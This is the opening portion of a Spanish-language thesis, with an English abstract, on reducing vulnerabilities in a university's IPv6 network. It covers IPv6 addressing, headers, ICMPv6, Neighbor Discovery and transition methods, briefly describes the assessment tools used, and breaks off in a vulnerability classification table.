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[bookmark: _Toc442981676]RESUMEN

La investigación se centra en el desarrollo e implementación de políticas y procedimientos de seguridad para disminuir el nivel de vulnerabilidad en la red IPv6 de la Escuela Superior Politécnica de Chimborazo. Se estableció dos escenario en ambiente de pruebas con una computadora portátil DELL Inspiron I7, VirtualBOX, Ubuntu 10.04 y Fedora 12, el primer escenario objeto de estudio inicial para determinar las fallas de seguridad en la red IPv6 y el segundo escenario una vez hecha la restructuración de la red, la implementación de nuevos dispositivos y la aplicación de las políticas de seguridad propuestas para la disminución de vulnerabilidades encontradas en el primer escenario. Los métodos de investigación utilizados son el científico e inductivo por seguir un plan ordenado obteniendo conclusiones generales a partir de observaciones particulares, las técnicas empleadas son la encuesta apoyada en un cuestionario realizado al director del departamento de redes de la Dirección de Tecnologías de la Información y Comunicación de la ESPOCH y la observación apoyadas en las herramientas SCAPY, THC-IPv6, SENDIP y IPv6 TOOLKIT; a través de lo cual se obtuvo datos reales y concretos para elaborar cuadros y gráficos estadísticos  permitiendo realizar el análisis e interpretación de resultado de cada pregunta,  además se realizó una comparación entre los escenarios con las 18 vulnerabilidades detectadas para determinar el resultado de la investigación,  obteniéndose en el segundo escenario solo 13 vulnerabilidades. Concluyendo que se pudo disminuir en un 28% el nivel de vulnerabilidades en la red IPv6 de la ESPOCH, ante lo cual se recomienda realizar investigaciones específicas de las vulnerabilidades para procurar un mayor nivel seguridad en la red IPv6 de la ESPOCH. 

Palabras Claves: <Protocolo de Internet versión 6> [IPv6], <Vulnerabilidades>, <Políticas y Procedimientos de Seguridad en redes>, <Dirección de Tecnologías de la Información y Comunicación> [DTIC], <Escuela Superior Politécnica de Chimborazo> [ESPOCH]
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[bookmark: _GoBack]The research focuses on the development of policies and procedures of security, to reduce the level of vulnerability in the Network IPv6 of the Polytechnic Superior School of Chimborazo. It was established two scenes test environment with a laptop Dell Inspiron I7, VirtualBox, Ubuntu 10.04 and Fedora 12, the first scene, object of the initial study, to determine the security flaws on the Network IPv6 and the second scene, once made the restructuring of the network, the implementation of new devices and the application of the proposed security policies for reducing of vulnerabilities found in the first scene. The research methods used are scientific and inductive to follow an orderly plan, obtaining general conclusions from particular observations, The techniques used are the survey, based on a questionnaire, which was made the director of the networks of Direction of technology the Information and Communication of the ESPOCH and observation supported in the tools, SCAPY, THC-IPv6, SENDIP and IPv6 TOOLKIT; through which real data was obtained and concrete to elaborate statistical tables and charts, allowing to make the analysis and interpretation of results for each question, in addition a comparison was made between the Essenes with 18 (eighteen) vulnerabilities detected to determine the result of the research, getting in the second scene just 13 (thirteen) vulnerabilities.

Concluding that it can a 28% (twenty eight) the vulnerability level in the Network IPv6 of the ESPOCH, whereupon, it is recommended to realize specific research of vulnerabilities, to ensure a higher level of security of the network IPv6 of the ESPOCH.

Clue Words: <Internet Protocol Version 6>,<VULNERABILITIES> ,<POLITICS AND PROCEDURES OF NETWORK SECURITY>,< Direction of technology the Information and Communication>[DTIC],<Polytechnic Superior School of Chimborazo>[ESPOCH].
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[bookmark: _Toc442981678]INTRODUCCIÓN
En la actualidad, es evidente el crecimiento de las redes día a día, provocando que pronto se agoten las direcciones IPv4. En solución a ello IPv6 está destinado a sustituir IPv4 en el mundo de Internet.

Hoy en día, el uso de IPv6 en la Internet es de un <10%> en comparación con el uso de IPv4 (DE-CIX , 2013). De manera similar, las implementaciones de IPv6 en todo tipo de equipos y programas no son tan maduras como las implementaciones de IPv4. Sin embargo, debido al agotamiento de las direcciones IPv4 disponibles por la IANA el 03 de febrero de 2011 (ICANN, 2011) se decreto la necesidad de utilizar IPv6. 

A medida que se implemente paulatinamente IPv6, los problemas de seguridad aparecerán de forma simultánea. Estos problemas serian bastante nuevos para las personas involucradas con la seguridad de la red. Debido a que los administradores de red necesitan experiencia en seguridad IPv6. Por lo tanto, los especialistas en seguridad de red deben estar capacitados para entender completamente todo lo relacionado a seguridades IPv6 vulnerabilidades y deben saber cómo evitarla. Del mismo modo, los equipos de red de IPv6 y las unidades de seguridad deben ser probados y mejorados continuamente para satisfacer la necesidad de las redes IPv6 seguros. 

Este proyecto analiza la problemática de seguridad en la red IPv6 implementada en la Escuela Superior Politécnica de Chimborazo. En el primer capítulo se detalla la información general del presente proyecto de tesis, en el segundo capítulo se incluye el marco teórico necesario para el estudio de vulnerabilidades de seguridad IPv6, así como también se describen las herramientas a utilizar y los conceptos teóricos sobre políticas y procedimientos; El tercer capítulo contiene el diagnóstico inicial de la red IPv6, la información capturada de las herramientas de ataque que son apropiadas y capaces de explotar las vulnerabilidades y los parámetros de medición. El cuarto capítulo posee el desarrollo de las políticas y procedimientos implementados para la mitigación de las vulnerabilidades encontradas en la red IPv6. En el quinto capítulo se describe el nivel de vulnerabilidad obtenido en los dos escenarios del antes y después de la implementación de las políticas de seguridad en la red IPv6 de la ESPOCH para la demostración de la hipótesis del presente trabajo. El sexto capítulo contiene la información correspondiente a la aplicación web que se ha desarrollado. Además se encuentran las conclusiones, recomendaciones y los apéndices sobre esta tesis.








CAPÍTULO I
[bookmark: _Toc442981679]MARCO REFERENCIAL
1.1 [bookmark: _Toc442981680]ANTECEDENTES.
IPv6 hace su aparición oficialmente en 1999 como la nueva versión del protocolo IP. Fue diseñado por el IETF para reemplazar en forma gradual a la versión anterior, conocida como IPv4 que actualmente es utilizada por la mayoría de dispositivos que tienen acceso a Internet. 
Esta nueva versión del protocolo de internet tiene nuevas e importantes características que permiten superar las limitaciones de IPv4 usado actualmente; entre las características más importantes destacan:
•	Espacio de direcciones prácticamente infinitos
•	Direccionamiento jerárquico
•	Nuevo formato de encabezado	
•	Auto-configuración de computadoras y ruteadores
•	Seguridad integrada
•	Computación móvil
•	Calidad de servicio
•	Transporte de tráfico multimedia en tiempo real
•	Aplicaciones anycast y multicast
•	Mecanismo de transición gradual de Ipv4 a IPv6, etc.
Hoy en día, con el agotamiento de IPv4, Se ha empezado a implementar IPv6 en las infraestructuras de organizaciones, instituciones, etc. Por lo tanto durante los últimos años se ha trabajado en mejoras de la seguridad de dicha tecnología algunas herramientas de seguridad han tenido que ser modificadas y otras desarrollarse desde cero, entre ella se pueden mencionar:
•	THC-IPv6:
•	SI6 NETWORKS' IPv6 TOOLKIT
•	SCAPY
•	SendIP, Etc.
La problemática es que las direcciones IPv4, se agotarán en un tiempo relativamente corto, razón por la cual es de suma importancia que se comience a trabajar con el nuevo protocolo IPv6 ya que en nuestro país, existe la disposición gubernamental (MINTEL, 2012)(Ver Anexo 2) de comenzar a utilizar este nuevo protocolo, con el fin de no quedarnos atrás antes de que se agoten las pocas IPv4 que quedan disponibles, cabe recalcar que la ESPOCH es una de las instituciones pioneras en la implementación de dicho protocolo, por lo tanto su prioridad actual  es implementar políticas de seguridad de la tecnología IPv6 para detectar las evidencias de un ataque, ya que las implementaciones de IPv6 se podría decir que todavía no han estado en el foco de los atacantes. Es muy probable que se descubran muchas vulnerabilidades y bugs. Y con el fin de evitarlas se empiecen a acelerar el proceso tomando medidas inadecuadas, es decir con implementaciones poco técnicas con respecto a la seguridad. 
En la actualidad, las vulnerabilidades en redes de datos (Gont, 2012), causan grandes pérdidas a organizaciones e individuos. Por ello es de gran importancia realizar análisis de la red e implementar políticas de seguridad para así detectar a tiempo las vulnerabilidades, así se protege el activo más importante de una institución que es la información. 
El trabajo de investigación realizará la revisión de la tecnología IPv6 describiendo el contexto general en la actualidad, para luego formular los procesos que ayuden a reunir evidencias de posibles ataques y con ello proponer políticas de seguridad. Y cabe recalcar que además de cumplir con un trabajo de investigación se cumplirá con un objetivo a nivel país que ha sido  emitido por el actual presidente del Ecuador Rafael Correa por medio del decreto 1014 publicado en el 2008.
Previo un análisis bibliográfico se llega a la conclusión de que no existen trabajos específicos sobre el tema vulnerabilidades y riesgos. Pero en los repositorios de la institución si existen trabajos investigativos sobre IPv6 como: 
· Estudio Comparativo de VoIP y Telefonía IP en IPV4 e IPV6, 
· Estudio de Seguridades en una Red Extremo a Extremo Basada en Protocolo IPV6.


1.2 [bookmark: _Toc442970683][bookmark: _Toc442981681]JUSTIFICACIÓN DEL PROYECTO DE TESIS 
1.2.1 [bookmark: _Toc442970684][bookmark: _Toc442981682]JUSTIFICACIÓN TEÓRICA
Actualmente, dado los Avances tecnológicos la ESPOCH  tiene implementadas redes con IPv6. Por ello surge la necesidad de realizar un estudio detallado de la seguridad IPv6 para determinar las existencias de riesgos o vulnerabilidades que existen en ella. 
Hoy en día es de gran importancia definir políticas en la infraestructura de la red IPv6 implementada por el DTIC en la red de la ESPOCH  ya que si existiera un ataque a esta se podría llegar a perder información valiosa que residen en sus servidores. Como también se podría suspender el suministro de la red.
Existen herramientas que tienen un gran número de opciones para especificar el contenido de cada paquete, como también servirá para crear y manipular paquetes. Cabe recalcar que las herramientas son programables, versátiles y flexibles.
Las herramientas a emplearse en la investigación son: THC-IPv6, SI6 NETWORKS' IPv6 TOOLKIT, SCAPY, SendIP. Seleccionadas por sus ventajas y beneficios que ofrecen, a continuación se detallara brevemente cada una de ellas:
THC-IPv6 conjunto completo de herramientas para atacar las debilidades inherentes del protocolo IPV6  e icmp6. Permiten redirigir el tráfico al sistema del atacante en una LAN, reduce el MTU del destino, redirige el tráfico en un nodo móvil al destino elegido en caso de estar IPsec deshabilitado y automatiza tareas.
SI6 NETWORKS' IPv6 TOOLKIT  conjunto de herramientas de seguridad y resolución de problemas de IPv6, que pueden enviar paquetes IPv6 basados arbitrariamente las cuales permiten analizar direcciones, realizar ataques de fragmentación, enviar mensajes de solicitud, anuncios etc.
Scapy es una utilidad escrita en Python que sirve para crear y manipular paquetes, escanear, funciones de sniffer, creación de gráficas 2D / 3D / Pdf, tracers gráficos, Además, podemos crear utilidades escritas en Python usando scapy. Posee funciones similares a ttlscan, nmap, hping, p0f, xprobe, arping, arp-sk,  ARPSpoof, firewalk, etc. Todo mediante línea de comandos, es integrable en Python, programable, versátil y flexible. Como resultado se obtendrán solo los datos que se deseen ya sean complejos.
SendIP tiene un gran número de opciones de línea de comandos para especificar el contenido de cada encabezado de una NTP, BGP, RIP, RIPng, TCP, UDP, ICMP o paquetes IPv4 e IPv6 También permite que los datos que han de añadirse al paquete.
1.2.2 [bookmark: _Toc442970685][bookmark: _Toc442981683]JUSTIFICACIÓN APLICATIVA
La aplicación a implementar en la unidad informática de la ESPOCH (DTIC), cumplirá con los objetivos de estudios, su resultado permite encontrar problemas  de seguridad IPv6. Con tales resultados se  tendrá la posibilidad de definir y ejecutar políticas y procedimientos que ayudara a mantener segura la infraestructura  a la red IPv6 de la ESPOCH.


1.3 [bookmark: _Toc442970686][bookmark: _Toc442981684]OBJETIVOS
1.3.1 [bookmark: _Toc442970687][bookmark: _Toc442981685]OBJETIVOS GENERALES:
Desarrollar políticas y procedimientos de seguridad en la red IPv6 de la ESPOCH con las herramientas analizadas en DTIC.
1.3.2 [bookmark: _Toc442970688][bookmark: _Toc442981686]OBJETIVOS ESPECÍFICOS:
· Estudiar la tecnología de IPv6 en el ámbito de vulnerabilidades y seguridad.
· Estudiar y utilizar las herramientas para detectar la existencia de riesgo en redes IPv6.
· Evaluar el nivel de  vulnerabilidades en la red IPv6 de la ESPOCH por medio de una aplicación web para visualizar  fallas.
· Proponer políticas y procedimientos de seguridad para la red IPv6 de la ESPOCH.


1.4 [bookmark: _Toc442970689][bookmark: _Toc442981687]HIPÓTESIS
La aplicación de las políticas y procedimientos de seguridad permitirá disminuir vulnerabilidad en la red IPv6 de la ESPOCH.









CAPÍTULO II
MARCO TEÓRICO
En el presente capítulo se hablara sobre el nacimiento de este nuevo protocolo IPv6 el cual no ha venido solo propiciado por la escasez de direcciones IPv4, sino que además se añaden nuevas características y se mejoran las existentes en IPv4, se estudiara su mecanismo, su arquitectura, sus especificaciones además, se realizara una comparación entre los dos protocolos IPv4 e IPv6.
Tomando en cuenta que este documento es una tesis que tiene el objetivo de implementar políticas de seguridad, entonces se estudiara seguridad, vulnerabilidad, tipos de ataques en IPv6  para ello también se estudiara las herramientas THC-IPv6, SI6 NETWORKS IPv6 TOOLKIT, SCAPY, SendIP, las cuales nos permitirán realizar una evaluación de la seguridad en la red IPv6 de la ESPOCH, con los datos que aportaran se realizara también un cuadro comparativo de sus utilidades.
2.1 [bookmark: _Toc442970690][bookmark: _Toc442981688]TECNOLOGÍA IPV6
En esta sección se tomara en cuenta características y especificaciones, concernientes a la tecnología IPv6 e incluso se desarrollara una breve comparación entre la tecnología IPv6 e IPv4.
2.1.1 [bookmark: _Toc442970691][bookmark: _Toc442981689]CARACTERÍSTICAS
En la tabla Nro.1, se describe las características relevantes que cuenta el protocolo IPv6:
	Características
	Conceptualización

	Aumento del espacio de direcciones
	En esta versión del protocolo, “Las direcciones constan de 128 bits, esto significa, que es la solución al agotamiento de direcciones IPv4” (Peralta, 2002 pág. 5).

	Auto-configuración
	IPv6 trata de simplificar el procedimiento de cuando un nodo se conecta a la red, este recibe los datos necesarios para empezar a comunicarse por parte del router, procedimiento simular al DHCP de IPv4.

	Movilidad
	Esta funcionalidad es una de los requerimientos del diseño permite “saltar" de una red a otra sin percibir ningún cambio, esta característica será de gran importancia cuando entren en funcionamiento las nuevas redes de telefonía con tecnología UMTS (Sistema universal de telecomunicación móvil)

	Seguridad
	Uno de los requerimientos del diseño, todas las aplicaciones se deben beneficiar de las facilidades de autenticación y encriptación de datos de forma transparente, el estándar escogido para esto fue IPsec (Peralta, 2002 pág. 6).

	Encaminamiento jerárquico
	“El encaminamiento bajo IPv6 es bastante similar al de IPv4 con CIDR, es decir, jerárquico y sin clases, con esto se pretende conseguir que las entradas en las tablas de rutas en los backbones no abunden más de lo necesario, al mismo tiempo, se consigue simplificar el enrutamiento y se espera que los routers sean más rápidos” (Peralta, 2002 pág. 6).

	Multi-Homing
	Esta funcionalidad se consigue con direcciones anycast, esta identifica un conjunto de distintas interfaces, encontrándose estos, por norma general, en distintos nodos. Un paquete a una dirección anycast será entregado a un solo miembro del conjunto, en principio, el paquete será entregado al miembro más cercano según el concepto de cercano de los protocolos de encaminamiento (Peralta, 2002 pág. 6).

	Calidad de servicio
	Con IPv6 disponemos de campos más amplios para definir la prioridad y flujo de cada paquete. Según el contenido de este campo, el router deberá darle un trato más o menos especial


[bookmark: _Toc442981797]Tabla 1: Características del Protocolo IPv6
Realizado por: Johanna Mera
Fuente: Conceptos basados en documento pdf de autoría de Luis Peralta
2.1.2 [bookmark: _Toc442970692][bookmark: _Toc442981690]ESPECIFICACIÓN DEL PROTOCOLO DE INTERNET VERSIÓN 6 (IPv6)
En esta sección se mostrará la arquitectura de IPv6 es decir los aspectos como la mejora de dirección, lo que nos ofrece el uso de ICMPv6, como también se explicará los métodos de transición de IPv4 a IPv6. Para el estudio de esta especificación puede recurrir al RFC 2460.
a. Direccionamiento IPv6
Actualmente la arquitectura del direccionamiento IPv6 se encuentra descrita detalladamente en RFC 4291; Donde cada dirección tiene una longitud de 128 bits que se presenta en ocho bloques de valores hexadecimal, para hacer que estas direcciones sean fáciles de leer existen dos tipos de abreviaciones las que se muestran en la tabla Nro. 2.
	Dirección completa
	2001:0db8:0000:0000:cafe:0000:1200:f1b2

	Forma N1
	2001:db8:0:0:cafe:0:1200:f1b2

	Forma N2
	2001:db8::cafe:0:1200:f1b2


[bookmark: _Toc442981798]Tabla 2: Abreviación de dirección IPv6
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4291

“An IPv6 address is splitted into the global routing prefix, the subnet ID and the interface ID” (Weber, 2013 pág. 3), En la tabla Nro.3 se muestra el formato de una dirección IPv6 que se divide en tres partes: prefijo de la ruta global, el ID de la subred y el ID de la interfaz. 
	1
	64
	128

	Global Routing Prefix
	Subnet ID
	Interface ID


[bookmark: _Toc442981799]Tabla 3: Formato de dirección IPv6
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4291 
Su semántica es muy similar a IPv4, cada interfaz utiliza múltiples direcciones, de múltiples tipos y alcances, en la ilustración Nro.1 se la puede identificar lo que se ha mencionado:
[image: ]
[bookmark: _Toc442981861]Ilustración 1: Tipos de direcciones 
Realizado por: Johanna Mera
Fuente: Basado en documento pdf autoría Fernando Gont

b. Formato de cabecera IPv6
La cabecera de un paquete IPv6 es más sencilla que la del paquete IPv4 pero su funcionalidad es mucho mayor, en la ilustración Nro. 2 se aprecia claramente el formato de la cabecera IPv4 vs IPv6 y se puede juzgar el nivel de dificultad entre ella.
[image: ]
[bookmark: _Toc442981862]Ilustración 2: Formato de los encabezados IPv4 & IPv6
Fuente: Basado en documento pdf autoría Fernando Gont
c. Cabeceras de extensión IPv6
IPv6 introduce un nuevo concepto, las cabeceras de extensión con la finalidad de hacer frente a las extensiones y opciones variables, “Estas cabeceras se sitúan entre la cabecera IPv6 inicial y la cabecera de capa superior (capa transporte)” (Gumuzio, 2010 pág. 19). A continuación se describirá algunos tipos de cabeceras de extensión:
·  Cabecera Opciones de Salto a Salto: Se identifica por un valor de Cabecera Siguiente 0 en la cabecera IPv6 y se utiliza junto con otras características tales como la alerta de enrutador para el MLD, a continuación en la tabla Nro.4 se puede apreciar su formato:
	Cabecera Siguiente
	Lon Cab Ext  

	Opciones


[bookmark: _Toc442981800]Tabla 4: Formato cabecera de opciones de salto a salto
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4291
· Cabecera Enrutamiento: Es utilizada por un origen IPv6 para listar uno o más nodos intermedios a ser "visitados" en el camino hacia el destino de un paquete. Esta función es muy similar a las opciones Origen Impreciso y Registro de Ruta del IPv4. “The Routing header is identified by a Nex Header value of 43 in the immediately preceding header” (IETF, 1998 pág. 19)[footnoteRef:1], la cabecera de Enrutamiento se identifica por una Cabecera Siguiente de valor 43 en la cabecera inmediatamente precedente, en la tabla Nro.5 se muestra su formato: 
	Cabecera Siguiente
	Lon Cab Ext  
	Tipo de Enrutamiento
	Segmentos Dejad

	datos específicos del tipo


[bookmark: _Toc442981801]Tabla 5: Formato cabecera de enrutamiento
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4291
· Cabecera Fragmento: La cabecera Fragmento se identifica por un valor Cabecera Siguiente de 44 en la cabecera inmediatamente precedente, su formato se lo puede apreciar en la tabla Nro.6:
	Cabecera Siguiente
	Reservado
	Desplazamiento dl Fragment
	Res
	M

	Identificación


[bookmark: _Toc442981802]Tabla 6: Formato cabecera formato
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4291
Dónde:
· Desplazamiento dl Fragment: Posición de este fragmento respecto de la parte fragmentable.
· M: “More Fragments”, como en IPv4
· “Identification”: Identifica el paquete (con Src IP y Dst IP)

La fragmentación en si hace dificultosa la tarea de los NIDS (Sistema de detección de intrusos en una Red) es el reensamble de fragmentos “con estado” potencial para ataques de DoS, son predecibles conocida desde IPv4.
· Cabecera Opciones de Destino: Es usada para llevar información opcional que necesita ser examinada solamente por el (los) nodo(s) destino del paquete, esta cabecera es identificada por un valor Cabecera Siguiente de 60 en la cabecera inmediatamente precedente, además se utiliza con IPv6 Móvil y su formato se aprecia en la tabla Nro.7:
	Cabecera Siguiente
	Lon Cab Ext

	Opciones


[bookmark: _Toc442981803]Tabla 7: Formato de cabecera opciones de destino
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4291
2.1.3 [bookmark: _Toc442970693][bookmark: _Toc442981691]PROTOCOLO ICMPv6
“ICMPv6 is used by IPv6 nodes to report errors encountered in processing packets, and to perform other internet-layer functions, such as diagnostics (ICMPv6 “ping”). ICMPv6 is an integral part of IPv6, and the base protocol (all the messages and behavior required by this specification) MUST be fully implemented by every IPv6 node. Therefore, it replaces not only ICMPv4, but also other network related protocols such as the Address Resolution Protocol (ARP) for the resolving of link-layer addresses or the Internet Group Management Protocol (IGMP) which is used for the establishment of multicast group memberships. ICMPv6 messages have a next header value of 58. They contain a Type value for specifying the ICMP message, which ranges from 1-127 for error messages and from 128-255 for informational messages. The echo-request message which is used to ping a destination has the message number 128, while the echo-reply message has the number 129” (Weber, 2013 pág. 10). Este protocolo es utilizado por los nodos IPv6 para reportar errores encontrados en los paquetes de procesamiento, y para realizar otras funciones de Internet tales como diagnósticos, no solo sustituye a ICMPv4, sino también otros protocolos relacionados con la red, como el ARP para la resolución de direcciones de capa de enlace o el IGMP que se utiliza para la creación de multidifusión, los Mensajes ICMPv6 tienen un valor de encabezado siguiente de 58, este contienen un valor de tipo para especificar el mensaje ICMP, que va desde 1 hasta 127 para los mensajes de error y de 128 a 255 para los mensajes informativos, el mensaje de petición de eco que se utiliza para hacer ping a un destino tiene el número del mensaje 128, mientras que el mensaje de respuesta de eco tiene el número 129. En la tabla Nro.8 se aprecia el formato general de los mensajes ICMPv6:
	Tipo
	Código
	Comprobación

	Cuerpo del mensaje


[bookmark: _Toc442981804]Tabla 8: Formato general de los mensajes ICMPv6
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4291
Para el estudio profundo del protocolo ICMPv6, se puede recurrir al RFC 4443.
a. Mensajes de Error: Según el documento RFC 4443, existe cuatro tipos de mensajes de error:
· Tipo1: Destino inalcanzable, este se envía si el paquete no se puede entregar.
· Tipo2: Paquete Too Big o paquete demasiado grande, este se envía hacia la fuente si el router no puede entregar el paquete.
· Tipo3: Tiempo agotado, este se envía al nodo de origen si el valor límite de saltos en el encabezado IPv6 llega a su límite de 0. Este mensaje es muy conocido por su uso con traceroute.
· Tipo4: Problema de parámetros, este se envía si un nodo IPv6 no puede procesar un paquete IPv6 debido a un error en su cabecera o en cualquiera de las cabeceras de extensión.

b. Neighbor Discovery: Protocolo ND para IPv6, permite realizar funciones relacionada con otros nodos IPv6 en el mismo enlace, tales como la búsqueda de routers, manteniendo la accesibilidad de información sobre los vecinos activos. Para su estudio se puede revisar el RFC 4861, el proceso de ND utiliza mensajes ICMPv6 los cuales se los conoce como: 
· Mensajes Neighbor Solicitation: NS tiene un valor de 135 el campo tipo de la cabecera del paquete ICMPv6, por lo general este tipo de mensajes solicitan el mapeo de una dirección IPv6 a una dirección de capa de enlace, cuentan con una sola opción permitida la cual es “Source Link-layer address”. En la tabla Nro.9 se aprecia el formato de los mensajes NS.
	Tipo
	Código
	Comprobación

	Reservado

	Dirección de destino

	Opciones


[bookmark: _Toc442981805]Tabla 9: Formato de mensajes NS
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4443
· Mensajes Neighbor Advertisement: Mensajes NA tienen un valor de 136 en el campo tipo, estos menajes informan un mapeo de dirección IPv6 a una dirección de capa de enlace, cuenta con una única opción permitida la cual es “Target link-layer address”. En la tabla Nro.10 se aprecia el formato de los mensajes NA.
	Tipo
	Código
	Comprobación

	R|S|O|     Reservado

	Dirección de destino

	Opciones


[bookmark: _Toc442981806]Tabla 10: Formato de mensajes NA.
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4443
· Mensajes Router Solicitation: Mensajes RS tiene el valor de 133 en el campo tipo, su finalidad es solicitar la información de configuración a los routers locales, la única opción permitida hasta el momento es “Source Link-layer Address”. En la tabla Nro.11 se muestra el formato de los mensajes RS.
	Tipo
	Código
	Comprobación

	Reservado

	Opciones


[bookmark: _Toc442981807]Tabla 11: Formato de mensajes RS.
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4443
· Mensajes Router Advertisement: Mensajes RA tiene el valor 134 en el campo tipo, su función es proporcionan información de la configuración de la red, las posibles opciones son “Source link-layer address”,”MTU” y “Prefix Information”. En la tabla Nro.12 se muestra el formato de los mensajes RA.
	Type
	Code
	Checksum

	Cur Hop Limit
	M | O | H | Prf | Resvd
	Router Lifetime

	Reachable Time

	Retrans Timer

	Options


[bookmark: _Toc442981808]Tabla 12: Formato de mensajes RA.
Realizado por: Johanna Mera
Fuente: Basado en documento RFC 4443
c. SEcure Neighbor Discovery (SEND): Este protocolo fue diseñado para contrarrestar las amenazas del protocolo ND, el RFC 3971 se aprecia el estudio de dicho protocolo. “SEND does not provide any trust to the nodes that derived their addresses via CGA. It only assures that the binding of an IPv6 address and the appropriate link-layer address is correct, that no attacker can spoof the correct IPv6 address, but does not indicate whether that IPv6 node is trustworthy on the network. It should be used in conjunction with other layer 2 protection techniques. One organizational problem with SEND is that it is only optional and not mandatory for any IPv6 implementations.” (Weber, 2013 pág. 14) SEND no proporciona ninguna confianza a los nodos que derivan sus direcciones a través de CGA. Sólo se asegura que la unión de una dirección IPv6 y la dirección de capa de enlace apropiada es correcta , es decir , que ningún atacante puede suplantar la dirección IPv6 correcta, pero no indica si ese nodo IPv6 es de confianza en la red. Se debe utilizar en conjunción con otras técnicas de protección de la capa 2. Uno de los problemas de organización con SEND es que sólo es opcional y no obligatorio para cualquier implementación IPv6.

2.1.4 [bookmark: _Toc442970694][bookmark: _Toc442981692]CONFIGURACIÓN DE DIRECCIONES IPV6
Con IPv6 existe la posibilidad de que la configuración de dirección sea de forma automática en los nodos, para la auto-configuración de hosts hay dos mecanismos:
· SLAAC (Stateless Address Autoconfiguration): basado en mensajes ICMPv6 (RS y RA), donde los hosts solicitan información mediante ICMPv6 RS y lo routers responden con RA, para la realización de este proceso se puede estudiar el RFC 4862.
· Stateful DHCPv6 (Dynamic Host Configuration Protocol Version 6): basado en UDP, para la realización de este proceso se puede estudiar el RFC 3315.

2.1.5 [bookmark: _Toc442970695][bookmark: _Toc442981693]MÉTODOS DE TRANSICIÓN
Cabe recalcar que IPv6 fue diseñado para coexistir con IPv4, para ello se han creado los siguientes métodos de transición: 
· Dual-Stack: conocido también como doble pila, este nodo se comporta tanto como un nodo IPv4 o como un nodo IPv6.
[image: ]
[bookmark: _Toc442981863]Ilustración 3: Método de transición dual-stack
Fuente: Pdf de autoría de Fernando Gont
· Tunnels: Sirven para interconectar “islas” de un protocolo a través de otro, pueden se configurados y automáticos entre estos tenemos ISATAP, 6to4, Teredo, etc.  Y algunos están habilitados por defecto en Windows Vista y Windows 7.
[image: ]
[bookmark: _Toc442981864]Ilustración 4: Método de transición tunnels
Fuente: Pdf de autoría de Fernando Gont
· Protocolo Traducción: Esta técnica consiste en utilizar algún dispositivo en la red que convierta los paquetes de IPv4 a IPv6 y viceversa (Cicileo, 2014), como ejemplos de este protocolo tenemos a NAT64 y DNS64.
[image: ]
[bookmark: _Toc442981865]Ilustración 5: Método de Transición NAT64
Fuente: Pdf de autoría de Fernando Gont
2.1.6 [bookmark: _Toc442970696][bookmark: _Toc442981694]ADOPCIÓN DE IPv6
A pesar de que IPv6 es un protocolo que apareció hace más de una década, es utilizada aproximadamente el 10% de todas la conexiones en internet como revelan las estadísticas de la página oficial de google[footnoteRef:2], destacando que su crecimiento ha sido en los últimos meses.  [2: 	 https://www.google.com/intl/es/ipv6/statistics.html] 

[image: ]
[bookmark: _Toc442981866]Ilustración 6: Adopción de IPv6
Fuente:https://www.google.com/intl/es/ipv6/statistics.html
2.1.7 [bookmark: _Toc442970697][bookmark: _Toc442981695]COMPARACIÓN DE LOS PROTOCOLOS IPv6/IPv4 
Al realizar una breve comparación entre los protocolos IPv6 & IPv4 se puede llegar a la conclusión que los dos protocolos son muy similares en términos de funcionalidad pero no así en el mecanismo en la tabla Nro.13 se describe lo antes mencionado.
	
	IPv4
	IPv6

	Direccionamiento
	32 bits
	128 bits

	Resolución de direcciones
	ARP
	ICMPv6 ND/NA (+ MLD)

	Auto-configuración
	DHCP & ICMP RS/RA
	ICMPv6 RS/RA & DHCPv6  (opcional) (+ MLD)

	Soporte de IPsec
	Opcional
	Opcional 

	Fragmentación
	Tanto en hosts como routers
	Sólo en hosts


[bookmark: _Toc442981809]Tabla 13: Comparación IPv4 & IPv6
Realizado por: Johanna Mera
Fuente: Basado Pdf autoría Fernando Gont
 

2.2 [bookmark: _Toc442970698][bookmark: _Toc442981696]SEGURIDAD EN IPv6
Esta sección proporciona una apreciación global de los riesgos como también las estrategias de mitigación que puede enfrentar la transición de IPv4 a IPv4/IPv6, en el futuro ambiente de seguridad IPv6.
2.2.1 [bookmark: _Toc442970699][bookmark: _Toc442981697]VULNERABILIDADES 
IPv6 ha trabajado en la falta de confidencialidad e integridad de IPv4 por ello ha producido el desarrollo de IPsec, pero IPsec no se ha dirigido a todas debilidades encontradas en el protocolo TCP/IP, por lo tanto no resuelve muchos ataques tradicionales de la capa 2, algunos de estos se describirán más adelante. Aunque la mayoría de los sistemas operativos modernos ha apoyado IPv6 desde el 2003, las pilas protocolares de estos sistemas operativos no han sido totalmente probados, una revisión de la NVD (National Vulnerability Database)[footnoteRef:3] muestra las vulnerabilidades en la mayoría de los sistemas operativos, las nuevas vulnerabilidades son expuestas, desarrolladores publican las actualizaciones, con cualquier nuevo código. [3:   NVD: National Vulnerability Database - https://nvd.nist.gov/home.cfm] 

Esta sección del documento tiene como finalidad presentar un informe que contiene una lista de vulnerabilidades IPv6. Las cuáles serán divididas en las siguientes categorías:
· Local: Problemas de seguridad que pueden ser detectadas a nivel local de la red.
· Remota: Problemas de seguridad pueden ser probadas de forma remota.
· DOS: Problemas de seguridad que causan denegación de servicios.
· Firewall: Problemas de seguridad relacionadas con firewall o por otros dispositivos de filtro.
· Funcionalidad: Problemas de seguridad que causan efecto de funcionalidad en la designación de decisiones 
· Covert: Problemas de seguridad relacionados con los canales de comunicación ocultos.
· Aplicación: Problemas de seguridad especialmente relacionadas a las aplicaciones.
· Descubrimiento: Problemas de seguridad  relacionadas al descubrimiento de sistemas.
· MitM: Problemas de seguridad que pueden ser usados por ataques  “hombre de en medio”

A continuación se presenta la tabla Nro.14, donde se clasifican las consideraciones de seguridad generales y vulnerabilidades en las categorías expuestas anteriormente.
	 
	Local
	Remota
	DoS
	Firewall
	Funcionalidad
	Cover
	Aplicación
	Descubrimiento
	MitM

	Consideraciones de seguridad generales
	 

	Fingerprinting 
	x
	x
	 
	 
	 
	 
	 
	 
	 

	Descubrimiento de host
	x
	x
	 
	 
	 
	 
	 
	x
	 

	Problemas DNS inversas 
	 
	x
